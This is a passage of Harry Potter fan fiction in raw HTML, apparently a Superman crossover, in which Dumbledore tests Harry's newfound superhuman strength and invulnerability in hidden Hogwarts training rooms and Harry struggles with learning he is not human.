Dumbledore\'s hands and opened it with infinite care.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Within it were only two things but Harry knew that they were unique to the world. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">One was a long, thin shard of crystal that hummed softly, its color an emerald green with core of pale green-almost white-, remembering Harry of the movie Star Wars, in which its hero used a lightsaber of the same emerald color.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Holding it, Harry could feel it warming to his touch and its shine grew in strength until the whole room was bathed in green light, even affecting the flames in the fireplace of the room - the red flames that burned the whole year long now seemed made of emerald fire.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Gently Harry put the crystal aside, knowing without cognitive reason that it was not the time to use it. So after placing it back in the box he pulled out the other item.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was a piece of cloth that was neatly folded and with the same care that he had handled the crystal with, he unfolded it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">When that was done, Harry realized that the piece of tissue was a shield in which a stylized &#8220;S&#8221; could be seen. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">With some amusement, Harry realized that they were cast in Gryffindor\'s colors, the S and the outer lines of the shield in red while the rest were golden yellow. The fabric was soft and yet Harry could feel the strength of it, different from all tissues he had ever held or touched. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He wondered if his true mother had woven it, placing it with him when he was but a baby, </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">born and sent away from wherever he had come from.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Sadness crept within him as he realized that he had lost not only one set of parents, James and Lily but also his biological ones. However, differently from the case of James and Lily, no one was there to tell him anything about the ones who had given him life. No moving image, no declaration of </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">friendship from old friends...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Only these two things - a crystal and a shield. How readily would he have exchanged them for a memory of a caress, for the memory of a lullaby, for soft laughter as he was hugged, protected and loved.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">A tear traveled from his eye and Harry let it fall. Folding the shield with the same care as before he closed the box. Looking up to meet the gleaming eyes of the headmaster Harry breathed deeply before speaking.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;When do we start?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------- </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Once again Harry found himself in the company of Dumbledore in one of the rooms the old wizard had mentioned before. This time they were alone as Fawkes had chosen to remain in the office, enjoying the warmth of the fire.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The room he was currently in was kind of strange to be a part of a place like Hogwarts as it looked as though it had been taken from a Muggle gym, as it was full of weights and other machines designed for the development of the body. Some of them were downright strange to Harry, who knew nearly </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">nothing about weightlifting, something that was almost as </font><font color="Black"><i>verbotten</i></font><font color="Black"> as magic at the Dursleys\' house. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry turned his attention to Dumbledore, who was sitting on some nearby mats that were lying on the floor, no doubt placed there for any work that had to be done on the floor. Silently he sat in front of Dumbledore who was likewise sitting with his long legs crossed.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Deep blue eyes looked at him through half moon glasses, observing him intently before Dumbledore spoke.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Now, Harry, I want you to tell me how you feel. How your body feels to you, and better yet if you can recall how you felt when you awoke.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry scratched his chin thoughtfully.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How I feel? Uh, well I.... Way more stronger, I think... yes, stronger is the word. Let\'s see... ah, light&#8230;as though I could start flying by myself. I think that my senses are better too. For one thing I don\'t need my glasses and my hearing seems sharper.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore stroked his beard as his thoughtful, gleaming eyes showed his mind racing through thoughts Harry knew nothing of.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Stronger&#8230;umm... well, we can check that easily here.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Producing his wand he pointed it at the rows of weights and with a flick summoned them, words of magic rolling off Dumbledore\'s tongue.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Twin weights landed in front of Harry, who took them under Albus\' close look, lifting them up without a problem.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His muscles tensed and relaxed but Harry couldn\'t feel the weight of the metal. It was as though his body had no trouble lifting it. Puzzled, Harry used some strength and lifted the weights once again.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>WHOOOSH!</i></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><i>BOOOM!</i></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry recoiled as the weights were sent flying upwards, the impulse freeing it from Harry\'s hand before crashing on the ceiling and disappearing into the sturdy stone, some pieces of it falling down.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry swallowed hard, his sight fixated on the damaged roof before slowly looking back at Dumbledore who was staring at him with blinking eyes, not unlike a owl.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Ah, that was, um, interesting, Harry.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Said boy could only nod dumbly before asking about something that had come to his mind immediately, as soon as it had overcome the shock.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What was the weight?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore blinked again. &#8220;The weight? I believe that it was around a hundred and fifty pounds.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;A hundred and fifty? But...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But why did I start with such a weight? Without you knowing of it? I did that simply to see how you reacted to it without your mind interfering.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What do you mean?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It is quite simple, Harry. Our minds focus our reality and state our limitations. If you had told yourself that you could not do it, then you would have unconsciously prevented yourself from doing it. But if I had remained silent... Never doubt the powers of the mind. In your case this could </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">be more important than what we think.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He paused, brushing off the dust that had fallen upon his blue robes before rising.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I believe that another approach to this is needed, Harry. Please follow me.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry sighed but after a last look at the damage that he had done (that was already being repaired by magic) followed the older wizard. Harry found himself following Dumbledore through so many corridors that soon he lost whatever sense of orientation he had.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">After some time they reached another door that led to a huge circular room, easily rivaling a Quidditch pitch in its size.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The ground was painted with red lines interconnecting with each other within a circle covered by signs of magical origin. There was light in there but no source for it, only a dim light that looked like the light given off by fire. Yet the only thing Harry knew for sure was that they were quite deep under Hogwarts - far away from any source of luminosity.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore gestured for Harry to move and enter the circle. Harry took his place obediently within the circle before looking at the old wizard expectantly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Only I and some selected witches and wizards know what I am about to tell you, Harry, so keep this to yourself. The truth is that long before Hogwarts was a school, it was a training facility that came to be led by those who we now know as the Four Founders. Here, and since at least three thousand years, wizards and other creatures were trained in the art of war. I will spare you the history of how Hogwarts became a school but I will tell you that in the end, with the coming of peace, Hogwarts became the pleace you are familiar with. Before that time this was a place where all knowledge was turned into a weapon and a mean of destruction, as it was the way of things, even in the times of mighty Atlantis and long lost Avalon, times maybe more civilizared than those we are living now.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Back in those times of war this room was designed for those magical beings, like giants and dragons with strength greater than those of normal humans. In this room their might and power were tested, challenged. Of course a thousand years ago dragonkin and giantfolk were different from how we know them now, so the use of this room was soon a secret only known by the headmaster and those he decided to trust.&#8221; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Ever since the days of the Founders, this chamber and others, designed for more war-like purposes, have been closed and sealed. Now with the rise of Voldemort and the possibility of many dark creatures falling under his control, I have considered the need of restoring them to their true </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">nature. Long have I pondered if it was wise to do so, but I fear that now, if the Order is not able to stall the advance of the dark, I may be forced to do something that has been, with good reasons, forbidden.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Anyway, this is not important right now. What interests us is that this room offers us the way to test you without further, um, damages to the school property, things that I suspect would displease Minerva quite a fair bit.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Shaking his head slightly before grinning, he spoke. &#8220;But that\'s not why we are here. Let us see what you can do!&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry couldn\'t help but grin like an idiot as he nodded.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How does this work, professor?&#8221; he gestured to the cross-lined ground.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore smiled, his eyes twinkling as always. &#8220;Ah, good question, Harry. You see, this room will help us immensely. Not only one can increase the gravity - making things in the room and oneself more heavy, but the room grants us also the means to read the energy levels of both magic and life-force. This will give us a good idea of where to start. But without much further ado... ready, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Said teenager nodded as he saw Dumbledore move towards a small circle made of gold where he took his position. As soon as Dumbledore stepped upon the golden surface all the lines in the room came to life in a dazzling display of light. Harry looked at the ground, and then at Dumbledore, noticing </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">how the walls and ceiling now glowed with light, lines previously hidden now easily seen to the eye. .</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Despite the impressive show, Harry felt nothing. He looked at Dumbledore and made a big mistake.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He spoke. &#8220;That\'s it? I expected something more...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He had just enough time to see Dumbledore grin and tap into a panel that hung in the air. Formerly, nothing had happened, but suddenly Harry dropped to his knees, surprised by the sudden attraction the ground was exercising upon his body.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still he was able, after testing his body, to rise and stay up. His hair was plastered against his scalp and his clothes, that now seemed made of lead, were hanging from his body, threatening to tear in order to join the other things on the ground.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at Dumbledore, surprised to see an expression akin to wonder on his aged face.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Something wrong, professor?&#8221; He asked, pulling Dumbledore out of his amazement. The old wizard shook his head before tapping again on the translucent panel of light, quickly reading something before turning his attention to Harry</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;No, nothing wrong, Harry.&#8221; Yet he was using a tone of voice that Harry had never heard before from the wise wizard. It was as though Dumbledore didn\'t know what to do. &#8220;Ah, ready to raise the level, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded. &#8220;I\'m ready, professor.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore nodded. He looked back at Harry, his fingers stopping short of touching the panel. &#8220;Harry, are you sure everything is fine?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Yes, sir.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;No feeling of discomfort?&#8221; he inquired.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;None but my hair being pressed to my head and my clothes feel like they are about to rip themselves off my body...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Good, good...&#8221; mumbled the older wizard before speaking more clearly. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Let\'s try this, Harry. I will order the chamber to increase the gravity in an exponential fashion. With each passing minute the level of gravity in the chamber will increase. Once you find that the gravity is too much to bear, I will stop it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Sounds fine, sir.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore smiled . &#8220;Very well, Harry. Prepare yourself - I am initiating the command.&#8221; And with those words he touched the glyph that glowed, acknowledging the order. At once the room started to hum as the old magic was once again summoned to fulfil its purpose.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">At first Harry felt nothing different from before. The only reason he had been brought to his knees was that the room\'s magic took him by surprise.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">\n\n</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">This time he was prepared for the increasing pressure and attraction coming from the room.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was quite some time before he started to feel the strain upon his muscles, his body weighing more and more and he had to actually force himself to remain standing. He couldn\'t understand how his clothing managed to remain whole but that was the least of his problems as his body, with each passing minute, became heavier.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally Harry couldn\'t resist much more and, even as he was fighting with everything he had he was forced to kneel. But he wouldn\'t surrender. That wasn\'t a part of him... even in the direst situations, even surrounded by Death Eaters and Voldemort himself he would not surrender or go down </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">without a fight.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But the decision wasn\'t his...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He was still being forced to kneel, his knees about to touch the ground when suddenly the increased gravitation field was lifted.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Startled, Harry couldn\'t compensate for it and immediately found himself racing towards the walls, everything around him a blur for less than half a second - the time it took him to smash against the wall.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><b><i>WHAMM!</i></b></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">For a moment, before the actual contact, panic rushed through his veins.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry fully expected to be reduced to a smear against the very solid-looking wall. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It soon faded to leave place to panic as he felt his body easily carve a way trough the stone, the stone parting as if it was made of semi-solid clay that his body went through with little trouble. Still, he could feel the vibrations due to the impact spread through the wall but couldn\'t feel the pain that should have followed.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Soon enough Harry found that the kinetic charge he had built had finally been absorbed by the stone and found himself trapped within it. Cursing loudly he extracted himself from the stone that had molded itself to his body before making his way out the newly opened tunnel.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He was still cursing when he noticed that this time his clothing had been torn apart, huge tears turning his pant and shirt into nothing more than shredded material. Dumbledore soon joined him, a concerned expression on his face, not unlike the kind a grandfather would have for an endangered grandson.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry, are you all right?&#8221; he asked, concerned and was a little surprised by the look of anger that was enveloping Harry\'s eyes, making the green orbs look as if they were on fire.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And then he felt it. It was impossible to not do so.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The magic, pulsing, bursting wildly through Harry\'s frame, almost a visible thing with such sheer power that for a moment Dumbledore felt awed and slightly fearful.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then Harry started shouting, his anger apparent even as the magic receded. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;No! I\'m not alright! I know that I\'m not human but this is ridiculous! Look at my clothes! Look at the wall and the -oh so new- corridor I created! And look at my blasted face! Not a single scratch, not even a single bruise! I should have had all my bones broken into splinters, my body turned into </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">a bloodied piece of raw meat, but there is nothing wrong, nothing broken at all!&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He started pacing, his voice still high but with a note of desperation that didn\'t escape Dumbledore\'s attuned ears.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Why? Why does this always happen to me? I never wanted any of this, I just wanted to be normal! Normal! But oh no, Harry Bloody Boy-Who-Lived Potter...&#8221; he looked at Dumbledore and the old wizard was stricken to see the raw helplessness that seemed to dull those two pieces of gleaming </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">emerald. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What did I do to deserve that? What did I do to be the one singled out...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He paused, breathing deeply before exhaling as softly. &#8220;When I was a boy, the Dursleys would always treat me as if I was a decease, something that would be better dead. I often asked myself why it was so, what had I done to deserve that shunning. They supplied me with enough answers. Because I </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">was a freak. Because I was abnormal. Because something was wrong in me and it shamed them.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Then Hagrid came and told me I was a wizard and suddenly I was normal... I belonged to a place where everybody was equal and finally I knew the reason why the Dursleys hated me.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;And then the whole Boy Who Lived business started. And I was special again. Set apart by something that I couldn\'t even remember. And how I cursed that difference! But I could find some solace knowing that I was like everybody else and not the celebrity people saw in me. And now I find that I\'m not even human, that I\'m an alien with powers that set me apart from </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">everybody I know, from all of what I care about.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He paused.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It\'s not fair.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore looked at Harry and nodded, but his voice was soft when he </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">spoke.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;You can\'t change who you are, Harry, not the life that is yours.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry snorted.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Yeah. Right.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The afternoon found Harry and Dumbledore back in one of the training rooms, this one bare of anything but some weird writing on the walls; something similar to Arabic, red curving letters upon blue walls.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">After the debacle in the gravity room Dumbledore gave Harry some time to be by himself, a time that Harry had spent thinking about things. Now he was standing in the middle of the room and, while Dumbledore had no idea of what had happened to him, Harry\'s bearing was more focused, the look of </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">desperation gone, his green eyes shining again, fresh with a new purpose.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Without further ado Dumbledore attacked the other part of the problem - Harry\'s magic.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It is clear after the session in the gravity room that your physical strength has increased significantly. As such we can guess that your running speed is also beyond human and animal levels. The fact that you are apparently immune to physical damage is also something that we will have to follow up with. For those things I have already taken measures in view of the lack of control that you have displayed.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;That is something that we will have to deal with, not only for your own good, but also for the that of those around you. Still, I wish to assure you that I have prepared something that will grant you the control you need.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But for now, let\'s focus on your magic. For that purpose, I want you to have this back.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And with those words Albus put a hand in one of the pockets of his robes, producing a wand that Harry recognized as his own. Taking it Harry looked back at the wizard, a part of him desiring the comfort the magical connection between him and his wand would bring him.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But, professor, haven\'t you said that Voldemort would be able to sense when I use my wand and find where I am? Even when I hold it?&#8221; he asked, slightly worried, his right hand still upon the offered wand but not taking it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font 